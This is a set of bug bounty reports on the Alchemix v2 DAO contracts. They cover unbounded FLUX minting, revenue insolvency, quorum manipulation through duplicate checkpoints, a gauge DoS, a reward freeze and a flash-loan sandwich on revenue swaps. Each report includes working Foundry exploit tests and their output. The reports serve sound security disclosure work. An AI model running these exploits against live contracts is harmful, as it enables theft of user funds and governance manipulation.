Submitted on May 3rd 2024 at 01:32:01 UTC by @Django for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30650

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

A user can mint infinite FLUX token by simply calling `voter.poke()` as many times as they want. Each time `poke()` is called, it subsequently calls `_vote()` which calls `FLUX.accrueFlux()`, allowing a user to mint at will.

## Vulnerability Details

A user accrues FLUX through voting and resetting their token after each voting epoch. Quite simply, a user can use the `voter.poke()` function as many times as possible to accrue infinite unclaimed FLUX, and then claim the FLUX in the `FluxToken.sol` contract.

```
    function poke(uint256 _tokenId) public {
        /...


        _vote(_tokenId, _poolVote, _weights, _boost);
    }
```

```
    function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        _reset(_tokenId);


        ...


        IFluxToken(FLUX).accrueFlux(_tokenId);
}
```

```
    function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
```

## Impact Details

* Infinite minting of FLUX will steal value from token holders
* Infinite FLUX allows for infinite boosting of voting power and governance manipulation

## Output from POC

The POC simply calls poke 10 times without changing the block number or timestamp.

```
[PASS] testAccrueFluxByPoke() (gas: 1657988)
Logs:
  FLUX Balance 2908413273694656603
  FLUX Balance 3865098966228530943
  FLUX Balance 4821784658762405283
  FLUX Balance 5778470351296279623
  FLUX Balance 6735156043830153963
  FLUX Balance 7691841736364028303
  FLUX Balance 8648527428897902643
  FLUX Balance 9605213121431776983
  FLUX Balance 10561898813965651323
  FLUX Balance 11518584506499525663
```

## Proof of Concept

```
    function testAccrueFluxByPoke() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

        hevm.startPrank(admin);

        uint256 claimedBalance = flux.balanceOf(admin);
        uint256 unclaimedBalance = flux.getUnclaimedFlux(tokenId);

        assertEq(claimedBalance, 0);
        assertEq(unclaimedBalance, 0);

        voter.reset(tokenId);

        unclaimedBalance = flux.getUnclaimedFlux(tokenId);
        uint256 fluxEachEpoch = veALCX.claimableFlux(tokenId);

        // Claimed balance is equal to the amount able to be claimed
        assertEq(unclaimedBalance, veALCX.claimableFlux(tokenId));

        hevm.warp(block.timestamp + nextEpoch);

        voter.reset(tokenId);

        // Add this voting periods claimable flux to the unclaimed balance
        unclaimedBalance += veALCX.claimableFlux(tokenId);

        // The unclaimed balance should equal the total amount of unclaimed flux
        assertEq(unclaimedBalance, flux.getUnclaimedFlux(tokenId));

        // maliciously poke 10 times
        for (uint256 i = 0; i < 10; i++) {
            voter.poke(tokenId);
            flux.claimFlux(tokenId, flux.getUnclaimedFlux(tokenId));
            console.log("FLUX Balance %s", flux.balanceOf(admin));
        }

        hevm.stopPrank();
    }
```


# 30651 - \[SC - Critical] Insolvency in RevenueHandlersol because unclaim...

Submitted on May 3rd 2024 at 02:32:14 UTC by @Django for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30651

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Protocol insolvency
* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

The `RevenueHandler.sol` contract accepts the repayments from the Alchemix protocol and splits it to users based on their locked VE positions. However, this contract will eventually reach a state of insolvency because unclaimed revenue is counted as new revenue for each newly-checkpointed epoch. Users will have a cumulative higher claimable balance than token balance in the contract.

## Vulnerability Details

The Revenue Handler contract has a `checkpoint()` function that must be called once at the beginning of each epoch (every 2 weeks). This functions takes the revenue obtained from the previous period and allots it to users based on the contract's token balances.

The issue arises due to the fact that previously-allotted and unclaimed revenue will still count toward these token balances, double-counting them for allotment.

```
    function checkpoint() public {
        // only run checkpoint() once per epoch
        if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
            currentEpoch = (block.timestamp / WEEK) * WEEK;


            ...


                uint256 thisBalance = IERC20(token).balanceOf(address(this));


                // If poolAdapter is set, the revenue token is an alchemic-token
                if (tokenConfig.poolAdapter != address(0)) {
                    // Treasury only receives revenue if the token is an alchemic-token
                    treasuryAmt = (thisBalance * treasuryPct) / BPS;
                    IERC20(token).safeTransfer(treasury, treasuryAmt);


                    // Only melt if there is an alchemic-token to melt to
                    amountReceived = _melt(token);


                    // Update amount of alchemic-token revenue received for this epoch
                    epochRevenues[currentEpoch][tokenConfig.debtToken] += amountReceived;
                } else {
                    // If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
                    amountReceived = thisBalance;


                    // Update amount of non-alchemic-token revenue received for this epoch
                    epochRevenues[currentEpoch][token] += amountReceived;
                }
```

This line double accounts for previously-unclaimed revenue.

`uint256 thisBalance = IERC20(token).balanceOf(address(this));`

Then the users are able to claim their portion of the claimable revenue based on the `_claimable()` function which directly referrenced the `epochRevenues` mapping that has already double-counted.

```
uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
            if (epochTotalVeSupply == 0) continue;
            uint256 epochRevenue = epochRevenues[epochTimestamp][token];
            uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
            totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
```

## Impact Details

* Insolvency due to users being able to claim more than the contract's token balance
* Early claimers will be able to claim more than the last claimers, who will not be able to claim anything.

## Output from POC

This POC simply sets up a token position, accrues revenue and checkpoints once, waits another epoch period, and checkpoints again. Since the user never claimed, the claimable revenue is doubled even though no new revenue was accrued.

```
[FAIL. Reason: assertion failed] testClaimNonAlchemicRevenueInsolvency() (gas: 1723846)
Logs:
  (1) Claimable:  1000000000000000000000
  (2) Claimable:  2000000000000000000000
  Error: Claim amount should not go up because of unclaimed revenue
  Error: a == b not satisfied [uint]
    Expected: 2000000000000000000000
      Actual: 1000000000000000000000
```

## Proof of Concept

```
    function testClaimNonAlchemicRevenueInsolvency() external {
        uint256 revAmt = 1000e18;
        uint256 tokenId = _setupClaimableNonAlchemicRevenue(revAmt, bal);
        uint256 balBefore = IERC20(bal).balanceOf(address(this));

        assertEq(balBefore, 0, "should have no bal before claiming");

        uint256 claimable1 = revenueHandler.claimable(tokenId, bal);
        console.log("(1) Claimable: ", claimable1);

        hevm.warp(block.timestamp + ONE_EPOCH_TIME);
        revenueHandler.checkpoint();

        uint256 claimable2 = revenueHandler.claimable(tokenId, bal);
        console.log("(2) Claimable: ", claimable2);

        assertEq(claimable1, claimable2, "Claim amount should not go up because of unclaimed revenue");
    }
```


# 30655 - \[SC - Critical] Binary search does not correctly handle duplica...

Submitted on May 3rd 2024 at 05:25:10 UTC by @Holterhus for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30655

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

Throughout the `VotingEscrow` contract, there are several functions that conduct a binary search to determine the first entry containing a timestamp that's before or equal to a target timestamp. In some of these functions, the binary search does not deterministically handle the scenario where multiple exact matches exist. By strategically checkpointing multiple times on a given timestamp, an attacker can inflate the relative amount of power the system considers them to have. This behavior can be abused to change the results of a governance proposal, or to receive more rewards than intended.

## Vulnerability Details

The `totalSupplyAtT()` function has the following binary search implementation:

```solidity
if (t < lastPoint.ts) {
    uint256 lower = 0;
    uint256 upper = _epoch - 1;

    while (upper > lower) {
        uint256 center = upper - (upper - lower) / 2;
        lastPoint = pointHistory[center];
        if (lastPoint.ts == t) {
            lower = center;
            break;
        } else if (lastPoint.ts < t) {
            lower = center;
        } else {
            upper = center - 1;
        }
    }

    lastPoint = pointHistory[lower];
}
```

Notice that in this function, the binary search is instantly concluded when a match is found. This behavior means that `totalSupplyAtT()` can potentially return *any* of the exact matches in the `pointHistory` mapping. This is incorrect. An example of a correct implementation would be something similar to `_balanceOfTokenAt()`, which always returns the "right-most" (i.e. most recent) exact match.

This would not be a problem if each entry had a unique timestamp. However, there *can* be duplicate timestamps in the `pointHistory` entries (for example, notice how `_checkpoint()` will always increase `_epoch` by 1). On the other hand there *can't* be duplicate timestamps in the`checkpoints` mapping (for example, see the `_findWhatCheckpointToWrite()` function).

So, in the case of an exact timestamp match, the `getPastVotes()` and `balanceOfTokenAt()` functions always return the state when the timestamp ended, but the `totalSupplyAtT()` function can return any of the states from that timestamp. This leads to incorrect results in places that compare values from both functions (e.g. in the `claimable()` calculation in the `RevenueHandler`, or the `_quorumReached()` function in the `AlchemixGovernor`)

## Impact Details

Consider, for example, the following scenario:

* A proposal in the `AlchemixGovernor` has a snapshot timestamp at time `t`.
* At exactly time `t`, an attacker calls `checkpoint()` and then `createLock()` in the `VotingEscrow` contract.
* There are now two entries in `pointHistory` at timestamp `t` - one with the increased supply from `createlock()`, and one with the original supply.
* The `totalSupplyAtT()` function can return either one depending on the number of epochs. The attacker can force the original supply to be returned by arbitrarily adding more checkpoints (to change the result of the binary search).
* Now, the `_quorum()` value can be arbitrarily changed by calling `checkpoint()`. This means the governance can consider some proposals to have reached quorum, even though they did not.

Other than this, it appears that `RevenueHandler` logic can be tricked into giving a user too many tokens (more than 100% of the entire epoch even).

## References

See the proof of concept below.

## Proof of Concept

I've created the following test case which can be added to the `AlchemixGovernorTest` contract:

```solidity
function testBinarySearchExploit() public {
    /******************************************************************* 
    *    Step 1: someone makes a proposal
    ********************************************************************/
    assertFalse(voter.isWhitelisted(usdc));

    (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
    hevm.warp(block.timestamp + 2 days); // delay

    hevm.startPrank(admin);
    uint256 pid = governor.propose(t, v, c, d, MAINNET);
    uint256 proposalSnapshot = governor.proposalSnapshot(pid);
    address attacker = address(uint160(uint256(bytes32(keccak256("attacker")))));

    /*******************************************************************
    *    Step 2: the proposal snapshot timestamp arrives,
    *    attacker does the exploit
    ********************************************************************/
    hevm.roll(block.number + 1);
    hevm.warp(proposalSnapshot);

    uint256 quorumEstimate = governor.quorum(proposalSnapshot);
    veALCX.checkpoint();
    createVeAlcx(attacker, quorumEstimate * 55 / 100, MAXTIME, false);

    /******************************************************************* 
    *    Step 3: the voting period starts now, the quorum is broken
    ********************************************************************/
    hevm.roll(block.number + 1);
    hevm.warp(block.timestamp + governor.votingDelay() + 1);

    // Notice that the quorum can be changed by adding new checkpoints.
    // This is just for demonstration purposes. Doing exactly 5 checkpoints gets the attacker
    // back to the larger value (which out of their favor).
    for (uint256 i; i < 5; ++i) {
        veALCX.checkpoint();
        uint256 votingPower = veALCX.getPastVotes(attacker, proposalSnapshot);
        uint256 quorum = governor.quorum(proposalSnapshot);
        console2.log("votingPower:", votingPower);
        console2.log("quorum:", quorum);
        console2.log("attacker has enough voting power:", votingPower >= quorum);
        console2.log("-----------------------");
    }

    hevm.startPrank(attacker);
    governor.castVote(pid, 1);
    hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
    hevm.stopPrank();

    // Currently the vote has failed
    console2.log("Result before:", uint8(governor.state(pid)));

    // But checkpointing now will make it have succeeded
    veALCX.checkpoint();
    console2.log("Result after:", uint8(governor.state(pid)));

    // So now it can actually be executed despite not reaching quorum
    hevm.startPrank(admin);
    hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
    governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);
    hevm.stopPrank();

    assertTrue(voter.isWhitelisted(usdc));
}
```

By running `forge test --rpc-url <ETH_RPC_URL> --match-test testBinarySearchExploit -vvv` I get the following output:

```
[PASS] testBinarySearchExploit() (gas: 2244701)
Logs:
  votingPower: 42574534183000734522912
  quorum: 39346923145662095306947
  attacker has enough voting power: true
  -----------------------
  votingPower: 42574534183000734522912
  quorum: 39346923145662095306947
  attacker has enough voting power: true
  -----------------------
  votingPower: 42574534183000734522912
  quorum: 39346923145662095306947
  attacker has enough voting power: true
  -----------------------
  votingPower: 42574534183000734522912
  quorum: 47861829982262242211529
  attacker has enough voting power: false
  -----------------------
  votingPower: 42574534183000734522912
  quorum: 47861829982262242211529
  attacker has enough voting power: false
  -----------------------
  Result before: 3
  Result after: 4
```

which shows that a governance proposal can have its result manipulated.


# 30667 - \[SC - Medium] Unlimited gauge numbers can DoS users distribut...

Submitted on May 3rd 2024 at 20:20:16 UTC by @Hoverfly9132 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30667

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Temporary freezing of funds for 12 hours

## Description

## Brief/Intro

`Voter#createGauge` allow users create unlimited gauges and distribute vote power to any numbers of alive gauges in `Voter#distribute`, once the gauges numbers reach a limitation, the users can't execute `Voter#distribute` any more.

## Vulnerability Details

Currently, there is no limit to `Voter#createGauge` function, as the doc [description](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/CONTRACTS.md#L27):

`- each veALCX tokenId may distribute their voting power across any number of gauges`, it means that any users can create any numbers of gauges and distribute vote power to them. Once the gauges be created, the pool will be recorded in gauges array, and in `Voter#distribute` function will traverse the array and then distribute vote power to them.

However, if the gauges is large enough, the gas cost may reach the ethereum/optimism gas limit, currently is 30\_000\_000, then such txs would be failed, which means users can't execute distribute vote power action any more, unless they remove the gauge, but there is no remove gauge function in this version, only have `killGauge` function to set the gauges to be not alive state.

## Impact Details

Users can't execute `Voter#distribute` any more when created gauges numbers is large enough.

## References

NA

## Proof of Concept

Because the needed gauges need cost much time in test case, so I will show distribute to different gauges would cost how much gas:

```solidity
function testExecutorCreateGaugeFrontRunDos() public {
    address attacker = address(0x2345);

    uint256 created_gauges = 1;
    hevm.startPrank(address(timelockExecutor));
    for (uint i = 0; i < created_gauges; i++) {
        voter.createGauge(address(uint160(i)), IVoter.GaugeType.Passthrough);
    }
    hevm.stopPrank();

    hevm.warp(block.timestamp + 3 weeks);
    uint256 gas_left = gasleft();
    voter.distribute();
    uint256 gas_after = gasleft();
    console.log("gas left: ", gas_left - gas_after);
}
```

When the `created_gauges` is equal to `1`, `Voter#distribute` gas cost is about \~1050000 wei:

```json
[PASS] testExecutorCreateGaugeFrontRunDos() (gas: 3607681)
Logs:
  gas left:  1054068
```

When the `created_gauges` is equal to `10`, `Voter#distribute` gas cost is about \~1154915 wei:

```json
[PASS] testExecutorCreateGaugeFrontRunDos() (gas: 27094489)
Logs:
  gas left:  1154915
```

When the `created_gauges` is equal to `20`, `Voter#distribute` gas cost is about \~1154915 wei:

```json
[PASS] testExecutorCreateGaugeFrontRunDos() (gas: 53190954)
Logs:
  gas left:  1266968
```

So distribute to more one gauge, gas cost is about: `(1266968 - 1154915) / 10 ~= 11205`, the max gauge in one tx is about `30000000 / 11205 ~= 2677`. Actually, the max gauge should less than 2677 because the distribute action will cost gas in other function. When set `created_gauges` to `2677`, the `Voter#distribute` function gas cost greater than `30_000_000` wei absolutely.


# 30671 - \[SC - Critical] Reward token permanent freeze due to bulk call ...

Submitted on May 4th 2024 at 00:49:59 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30671

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

The poke function facilitates users to vote with the same weight for each pool in each epoch easily. The problem is that this function does not use a onlyNewEpoch modifier. As a result, an attacker could potentially call this function hundreds of times within a single epoch, and the totalVoting of bribe contract does not accurately track such actions.

## Vulnerability Details

Voting.poke function doesn't use onlyNewEpoch modifier

```
    /// @inheritdoc IVoter
    function poke(uint256 _tokenId) public {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);
    }
```

\_vote function call \_reset function and the \_reset function call withdraw of Bribe contract.

```
/// @inheritdoc IBribe
    function deposit(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply += amount;
        balanceOf[tokenId] += amount;

        totalVoting += amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();
        _writeVotingCheckpoint();

        emit Deposit(msg.sender, tokenId, amount);
    }

    /// @inheritdoc IBribe
    function withdraw(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply -= amount;
        balanceOf[tokenId] -= amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();

        emit Withdraw(msg.sender, tokenId, amount);
    }
```

As you can see, in Bribe.withdraw function, totalVoting is not calcutated. In the end, totalVoting only keeps increasing.

The totalVoting is used to calculate reward amount of a tokenId.

```
/// @inheritdoc IBribe
    function earned(address token, uint256 tokenId) public view returns (uint256) {
        if (numCheckpoints[tokenId] == 0) {
            return 0;
        }

        uint256 _startTimestamp = lastEarn[token][tokenId];

        // Prevent earning twice within an epoch
        if (block.timestamp - _bribeStart(_startTimestamp) < DURATION) {
            return 0;
        }

        uint256 _startIndex = getPriorBalanceIndex(tokenId, _startTimestamp);
        uint256 _endIndex = numCheckpoints[tokenId] - 1;

        uint256 reward = 0;
        // you only earn once per epoch (after it's over)
        Checkpoint memory prevRewards; // reuse struct to avoid stack too deep
        prevRewards.timestamp = _bribeStart(_startTimestamp);
        uint256 _prevSupply = 1;

        if (_endIndex >= 0) {
            for (uint256 i = _startIndex; i <= _endIndex; i++) {
                Checkpoint memory cp0 = checkpoints[tokenId][i];
                uint256 _nextEpochStart = _bribeStart(cp0.timestamp);
                // check that you've earned it
                // this won't happen until a week has passed
                if (_nextEpochStart > prevRewards.timestamp) {
                    reward += prevRewards.balanceOf;
                }

                if (_startIndex == _endIndex) break;

                prevRewards.timestamp = _nextEpochStart;
                _prevSupply = votingCheckpoints[getPriorVotingIndex(_nextEpochStart + DURATION)].votes;

                // Prevent divide by zero
                if (_prevSupply == 0) {
                    _prevSupply = 1;
                }
                prevRewards.balanceOf = (cp0.balanceOf * tokenRewardsPerEpoch[token][_nextEpochStart]) / _prevSupply;
            }
        }

        Checkpoint memory cp = checkpoints[tokenId][_endIndex];
        uint256 _lastEpochStart = _bribeStart(cp.timestamp);
        uint256 _lastEpochEnd = _lastEpochStart + DURATION;
        uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes;

        // Prevent divide by zero
        if (_priorSupply == 0) {
            _priorSupply = 1;
        }

        if (block.timestamp > _lastEpochEnd) {
            reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply;
        }

        return reward;
    }
```

## Impact Details

* Users end up receiving less rewards than what the actual voting results would entitle them to.
* The remaining reward amount is locked forever.

Unfortunately, the bribe contract does not have a function to withdraw this remaining amount.

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract BugPokePoC is BaseTest {

    function setUp() public {
        setupContracts(block.timestamp);
    }

    function testBugPoke() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        uint256 totalVoting;
        uint256 poolWeight;

        hevm.startPrank(admin);

        uint256 period = minter.activePeriod();

        hevm.warp(period + nextEpoch);
        voter.distribute();

        voter.vote(tokenId, pools, weights, 0);

        poolWeight = voter.weights(sushiPoolAddress);
        totalVoting = IBribe(bribeAddress).totalVoting();
        console.log("poolWeight", poolWeight);
        console.log("totalVoting", totalVoting);
        console.log("totalVoting / poolWeight", totalVoting / poolWeight);
        // Next epoch
        hevm.warp(block.timestamp + nextEpoch);
        voter.distribute();


        // An attacker can call poke function more than 100 times on one tx,
        // and all users will receive less reward than the actual reward value they deserve.
        // The rest of the reward token will be locked in the bribe contracts forever.
        for (uint256 i = 0; i < 5; i++) {
            voter.poke(tokenId);

            poolWeight = voter.weights(sushiPoolAddress);
            totalVoting = IBribe(bribeAddress).totalVoting();
            console.log("poke", poolWeight);
            console.log("totalVoting", totalVoting);
            console.log("totalVoting / poolWeight", totalVoting / poolWeight);
        }
    }
}
```


# 30682 - \[SC - Critical] Insufficient slippage control in RevenueHandler...

## Insufficient slippage control in RevenueHandler leads to loss of funds

Submitted on May 4th 2024 at 10:35:52 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30682

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

### Description

## Brief

Due to insufficient slippage control, an attacker can sandwich Alchemix revenue checkpoints with a flash loan, stealing a portion of the tokens that should be distributed to veALCX stakers.

## Description

When the poolAdapter is set, the revenue token (`WETH` for example) is swapped in a Curve pool for an "*alchemic-token*" (`alETH` for instance) during each revenue checkpoint.

The flagged logic is inside the `_melt` function of the *RevenueHandler.sol* smart contract:

> **The comments in the code snippet are from the Alchemix team.**

```javascript
/*  
    minimumAmountOut == inputAmount
    Here we are making the assumption that the price of the alAsset will always be at or below the price of the revenue token.
    This is currently a safe assumption since this imbalance has always held true for alUSD and alETH since their inceptions.
*/
return
    IPoolAdapter(poolAdapter).melt(
        revenueToken,
        tokenConfig.debtToken,
        revenueTokenBalance,
        revenueTokenBalance
    );
```

> Link to the snippet of code: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol?utm\\_source=immunefi#L275-L295>

The comments make a correct assumption about the price of "alAssets", but the code implementation does not protect the protocol from losses due to sandwich attacks.

### Vulnerable Implementation

The pseudo-code of the `_melt(address revenueToken)` implementation that uses the `CurveEthPoolAdapter` is:

1- Swap the `revenueToken` (*WETH*) for *ETH* by calling `WETH.withdraw(_amount)`

2- Swap the *ETH* for the `debtToken` (*alETH*).

3- Enforce that the amount of `debtToken` we receive is equal to or bigger than the same amount of `revenueToken` we sent.

```
    ┌───────────────────┐               
    │Swap $WETH for $ETH│               
    └─────────┬─────────┘               
   ┌──────────▽─────────┐               
   │Swap $ETH for $alETH│               
   └──────────┬─────────┘               
  ____________▽____________             
 ╱                         ╲    ┌──────┐
╱ Do we receive less $alETH ╲___│REVERT│
╲ than the $ETH we sent?    ╱yes└──────┘
 ╲_________________________╱            
              │no                       
          ┌───▽──┐                      
          │SUCESS│                      
          └──────┘                      

```

> Hopefully flowcharts are rendered correctly, we will see.

Alchemix's test suite runs at block number *17133822*.

> This can be verified in the `alchemix-v2-dao/Makefile` file.

The eth/alETH exchange rate in the curve pool when running the test suite is **10.00 eth** => **10.12 alETH**

> This can be verified by adding to the `testSlippageCheckpointETH` function of the test file `alchemix-v2-dao/src/test/RevenueHandler.t.sol` the 2 lines below and running the test at block number 17133822:

```
uint256 exchange_rate = alethCpa.getDy(address(weth), aleth, 10e18);
console2.log("eth/alETH exchange_rate", exchange_rate);
```

Alchemix created tests simulating a checkpoint for **10 WETH** of revenue.

Under these market conditions the *RevenueHandler* should receive **10.12 alETH**.

Because the implementation of the code only cares for receiving at least **10 alETH**, it is possible to manipulate the price of the pool with a flash loan and sandwich attack so the *RevenueHandler* receives exactly **10 alETH** and the attacker profits 1.14 % of the protocol's revenue during that epoch (**0.114 ETH**).

### Increasing Economic Damage

With the exchange rate of `10 ETH` == `10.12 alETH` used in the tests, we prove in a PoC attached to this report that losses are \~1.14% of the protocol's revenue every epoch.

Currently, the exchange rate in Curve is `10 ETH` == `11.02 alETH`.

Exploiting this attack vector in current market conditions for a `10 ETH` protocol revenue leads to losing close to **\~9.26% of protocol revenue** (*1.02 alETH*).

> The protocol should receive *11.02 alETH* but only receives *10 alETH*.

The economic damage of this attack vector keeps increasing every time the price of *alETH* decreases.

### Requirements

Anyone can call `RevenueHandler.checkpoint()` so flash loans can be used to fund the attack. No capital or permissions are required to execute it.

### Impact Details

Loss of funds.

### Proof of Concept

We modified your current `testCheckpointETH()` in `alchemix-v2-dao/src/test/RevenueHandler.t.sol`, adding the price manipulation before and after the checkpoint, to demonstrate the impact of the exploit.

Remember to run the code with the correct block number (the one used in your tests: 17133822)

We run the test executing:

```
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{API_KEY} --match-test testSlippageCheckpointETH --fork-block-number 17133822 -vv
```

> Replace {API\_KEY} with your API key.

The code for the test:

```javascript
    function testSlippageCheckpointETH() external {

        address[] memory alethCrvTokenIds = new address[](2);
        alethCrvTokenIds[0] = address(weth); // eth
        alethCrvTokenIds[1] = aleth;

        CurveEthPoolAdapter alethCpa = new CurveEthPoolAdapter(alethcrv, alethCrvTokenIds, address(weth));

        revenueHandler.addRevenueToken(address(weth));
        revenueHandler.setDebtToken(address(weth), aleth);
        revenueHandler.setPoolAdapter(address(weth), address(alethCpa));

        uint256 revAmt = 10e18;
        _accrueRevenue(address(weth), revAmt);

        // --------------------------------------------------------------------------
        // | Attack starts: Manipulate price pool by front-running the checkpoint() |
        // --------------------------------------------------------------------------

        // Get address of attacker
        address attacker = address(0x123);
        
        // Fund attacker
        uint256 inputAmount = 1500e18;
        deal(attacker,inputAmount);
        
        // Record attacker's ETH balance
        uint256 attackerETHBefore = attacker.balance;

        // Manipulate the price of the pool
        hevm.prank(attacker);
        ICurveStableSwap(alethcrv).exchange{ value: inputAmount }(
            0,
            1,
            inputAmount,
            0,
            attacker
        );

        // --------------------------------------------------------------------------
        // | Checkpoint is executed                                                 |
        // --------------------------------------------------------------------------

        uint256 balBefore = IERC20(aleth).balanceOf(address(revenueHandler));
        assertEq(balBefore, 0);
        revenueHandler.checkpoint();
        uint256 balAfter = IERC20(aleth).balanceOf(address(revenueHandler));
        assertApproxEq(revAmt, balAfter, revAmt / 30);
        

        // --------------------------------------------------------------------------
        // | Attack starts: Restore the pool to his original state                  |
        // --------------------------------------------------------------------------

        inputAmount = IERC20(aleth).balanceOf(attacker);

        // Approve the pool to spend the aleth
        hevm.prank(attacker);
        IERC20(aleth).approve(address(alethcrv), inputAmount);

        // Restore the price of the pool
        hevm.prank(attacker);
        ICurveStableSwap(alethcrv).exchange(
            1,
            0,
            inputAmount,
            0,
            attacker
        );

        // Log attacker profit in ETH
        uint256 attackerETHAfetr = attacker.balance;
        uint256 profit = attackerETHBefore - attackerETHAfetr;
        console2.log("attacker profit in ETH", profit);
        // - attacker profit in ETH 1141830491000656247 wei of ETH ~= 0.114 ETH

    }

```


# 30683 - \[SC - Critical] User can increase their unclaimed Flux token wi...

Submitted on May 4th 2024 at 11:47:30 UTC by @jecikpo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30683

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* unbound minting of token
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

A user can increase their unclaimed Flux token amount by the abuse of `VotedEscrow.merge()` and `Voter.reset()`.

## Vulnerability Details

The `Voter.reset()` function calls `FluxToken.accrueFlux(_tokenId)` which increases the `unclaimed[_tokenId]` balance according the `_tokenId` voting power. The `Voter.reset()` function can be called only once per epoch due to the `onlyNewEpoch(_tokenId)` modifier preventing the user from accruing excess unclaimed Flux. This however can be abused if the voting power of a token is transferred to a new `tokenId` using `VotedEscrow.merge()`.

After calling `VotedEscrow.merge()` the voting power shall be transfered to a new token and the `Voter.reset()` can be called again on the new `tokenId` within the same epoch.

## Impact Details

The impact is that the user can accrue potentially unlimited amount of unclaimed Flux. The unclaimed Flux could be used to execute unfair voting by increasing the user's voting power. It could also be claimed and sold on the open market to suppress the Flux price which will allow other users to unlock their veALCX tokens at lower prices hence destroying the entire voting system credibility.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L618>

## Proof of Concept

Add to the `VotingEscrow.t.sol` the following code:

```solidity
function testAbuseResetFlux() public {
        hevm.startPrank(admin);

        uint256 tokenIdLarge = veALCX.createLock(TOKEN_100K, THREE_WEEKS, false);
        uint256 tokenIdSmall = veALCX.createLock(TOKEN_1, THREE_WEEKS, false);


        voter.reset(tokenIdLarge);
        console.log("Unclaimed Flux on tokenIdLarge: %d", flux.unclaimedFlux(tokenIdLarge));
        veALCX.merge(tokenIdLarge, tokenIdSmall);
        voter.reset(tokenIdSmall);
        // we can see that the user amassed double of the unclaimedFlux during single epoch, this pattern could be repeated with more smaller vALCX locks
        console.log("Unclaimed Flux on tokenIdSmall: %d", flux.unclaimedFlux(tokenIdSmall));

        hevm.stopPrank();
    }
```


